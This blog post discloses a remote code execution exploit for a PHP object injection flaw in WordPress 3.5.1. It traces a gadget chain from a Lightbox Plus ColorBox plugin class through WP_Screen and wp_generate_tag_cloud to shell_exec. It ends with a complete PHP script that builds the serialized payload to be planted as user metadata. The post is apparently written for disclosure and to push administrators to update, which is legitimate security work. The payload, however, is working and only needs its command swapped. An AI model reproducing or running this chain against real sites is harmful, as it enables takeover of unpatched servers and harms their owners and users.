Remote Code Execution exploit in WordPress 3.5.1

Some time ago, I published a blog post describing a PHP Object Injection vulnerability I found in WordPress. At that time, I consciously did not include instructions of how this vulnerability could be exploited. Now, almost three months after the public disclosure of the vulnerability, website administrators have had a reasonable amount of time to update their WordPress installations in order to be secure. Hence, I feel that disclosing an example exploit is acceptable, and will hopefully raise awareness with website administrators that updating (vulnerable) web frameworks is crucial.

Recap

The vulnerability I found in WordPress allowed user-generated content to be passed to PHP’s unserialize() function. This allows an attacker to initialize objects of his choosing, given that the file containing the class definition for the object is included at the time the unserialize() function is called. Furthermore, the attacker can also control the values for the attributes of the initialized object. Except for the initialization of an arbitrary object, an attacker is left with his creativity to make the initialized object do something “special”. This is possible because of PHP’s magic methods. For instance, when an object is unserialized, the object’s __wakeup() magic method is called. Later, when the object has fulfilled its duties and gets destructed, the __destruct() method is called.

O Exploit, Where Art Thou?

As you may have read in my previous post, there were three different magic methods an attacker could use to exploit a WordPress installation, namely __destruct(), __wakeup() and __toString(). The latter is called when PHP requests a string representation of the object, for example when the object is echoed to a web page. In my quest for a working exploit I inspected all WordPress classes that had one of these magic methods. However, I was unable to find one which could lead to a useful exploit. (Side note: if you did manage to find such a class in the WordPress core, I would certainly like to hear about it!)

Now, does this mean that the vulnerability is unexploitable? Of course not, otherwise you wouldn’t be reading this article :-). One of the most popular features about WordPress is that it allows plugins and templates, which are developed by third parties, to be installed. At the time of this writing, WordPress lists 28,358 plugins, with over 560 million downloads. These plugins allow you to do “anything you can imagine”. Next to the plugins, there are also 2,155 themes available, which were downloaded more than 86 million times.

Since I was searching for a class with a “useful” magic method implementation, I decided to take my chances with plugins. For obvious reasons, I started looking in the most popular plugins, and worked my way down. After a quite hard process of going through several plugins, I finally found one that had a class containing an “interesting” __toString() definition. This plugin is called Lightbox Plus ColorBox.

Exploit time

The class of interest in the Lightbox Plus ColorBox plugin is located in the /classes/shd.class.php file, more precisely in the definition of the simple_html_dom_node class. This is what it looks like:

class simple_html_dom_node {
	private $dom = null;
	
	function __toString() {
	    return $this->outertext();
	}

	function outertext() {
	    // …
	    if ($this->dom && $this->dom->callback!==null) {
	        call_user_func_array($this->dom->callback, array($this));
	    }
	    // … 
	}
}

For those unfamiliar with PHP, look up call_user_func_array().

NOTE: Just the essential code fragments are extracted. If you want to look at the full source code of the plugin, please refer to the WordPress plugin repository.

Now, why does this class definition draw our attention? Well… because we can control all properties of a simple_html_dom_node object, we can set the private dom property to an arbitrary value. If this value would happen to contain a callback property, something interesting will happen. In this case, the function located in the callback property of the dom property will be called. The first (and only) argument to this method call is the simple_html_dom_node object we defined.

This allows us to call an arbitrary function with limited control over the first argument. Limited because we can pick the attributes, but that’s about it. Most likely there is a PHP function out there that allows you to do some cool things, even with these limitations. As I am no PHP expert, I couldn’t come up with something, so I decided to keep on looking. This drove me back to the WordPress core, more precisely to the /wp-admin/includes/screen.php file. This file contains a class definition of WP_Screen and is included when the serialized user-meta data is unserialized. Here is the definition of the class:

final class WP_Screen {
	private $_help_tabs = array();

	public function get_help_tabs() {
		return $this->_help_tabs;
	}

	public function render_screen_meta() {
		// …
		foreach ( $this->get_help_tabs() as $tab ):
			if ( ! empty( $tab['callback'] ) )
				call_user_func_array( $tab['callback'], array( $this, $tab ) );
		endforeach;
		// …
	}
}

As I mentioned in the previous section, we are able to call any arbitrary chosen function. This includes methods of an object. Hence, we can call the render_screen_meta() method of a WP_Screen object (which takes no arguments). This method will loop over all the elements in the _help_tabs property, and if the callback property of such an element is not empty, it will call the function located in the callback property with two arguments: the WP_Screen object and $tab (one of the elements of the _help_tabs property).

This gives us a bit more control: we can choose which function is called, and can control (to some extent) the first two arguments. But we may want to look a bit further as we don’t fully control the arguments. This brings us to the /wp-includes/category-template.php file of the WordPress core, with following definition:

function wp_generate_tag_cloud( $tags, $args = '' ) {
	// …
	$args = wp_parse_args( $args, $defaults );
	extract( $args );
	// …
	foreach ( (array) $tags as $key => $tag ) {
		$real_counts[ $key ] = $tag->count;
		$counts[ $key ] = $topic_count_scale_callback($tag->count);
	}
	// …
}

For those unfamiliar with PHP, look up extract().

The wp_generate_tag_cloud() function takes two arguments: $tags and $args. The latter is first transformed through the wp_parse_args() function, which merges $args with an array of default values ($defaults). Directly after that, a number of variables, with names equal to the keys in $args, are created by the extract() function. One of the variables that is created is the $topic_count_scale_callback variable. Later on, the value located in this variable is called, given one argument. The good thing here is: we can fully control this variable because we can control the second argument! As for the argument that is given to the function, it appears we can control it as well! The first argument, a WP_Screen object for example, is cast to an array. When an object is cast to an array in PHP, this results in an associative array where the properties become the keys. See following code snippet:

<?php
class Swag {
	public $yolo = 'yolo';
}
$swag = new Swag;
var_dump((array)$swag);
?>

Which results in:

array(1) {
  ["yolo"]=>
  string(4) "yolo"
}

Now all we need for a working exploit, is a property in the WP_Screen object that has a count property. Of course this is not a problem as we get to pick all attributes of objects that get unserialized. This means that we can call an arbitrary function with one argument, which we can also fully control. And this brings us to Remote Code Execution; think shell_exec('echo "schwag" > /tmp/1337h4x0rs').

Add cute kitten for total 1337ness

Putting it all together

With the information provided above, you should be able to create you own über 1337 expl0it! But let me show you what I made of it:

<?php
class simple_html_dom_node {
	private $dom;
	public function __construct() {
		$callback = array(new WP_Screen(), 'render_screen_meta');
		$this->dom = (object) array('callback' => $callback);
	}
}
class WP_Screen {
	private $_help_tabs;
	public $action;
	function __construct() {
		$count = array('count' => 'echo "schwag" > /tmp/1337h4x0rs');
		$this->action = (object) $count;
		$this->_help_tabs = array(array(
			'callback' => 'wp_generate_tag_cloud', 
			'topic_count_scale_callback' => 'shell_exec'));
	}
}
echo serialize(new simple_html_dom_node()).'𝌆';
?>

When an attacker sets the output of this script as his user metadata, the shell_exec() function is called with 'echo "schwag" > /tmp/1337h4x0rs' as argument. Note that the output contains NULL bytes because when an object is serialized in PHP its private properties are surrounded by NULL bytes (see PHP manual). Most of the user metadata in WordPress does not allow NULL bytes, except for some that are present by default in version 3.5.1.

Conclusion

This blog post showed an example exploit for the PHP Object vulnerability in WordPress installations before version 3.6.1. The exploit made use of classes defined in the Lightbox Plus ColorBox plugin, which has close to 1 million downloads. By using another class and function definition of the WordPress core, we were able to call an arbitrary function which can be given a value under the control of the attacker. This way, an attacker is capable of executing commands on the vulnerable server. Ohh snap! If you haven’t updated your WordPress installation yet, now would be a good time!

UPDATE: Did you understand most of what was written above? Then you might want to participate in my exploit WordPress security competition! (You can win prizes!)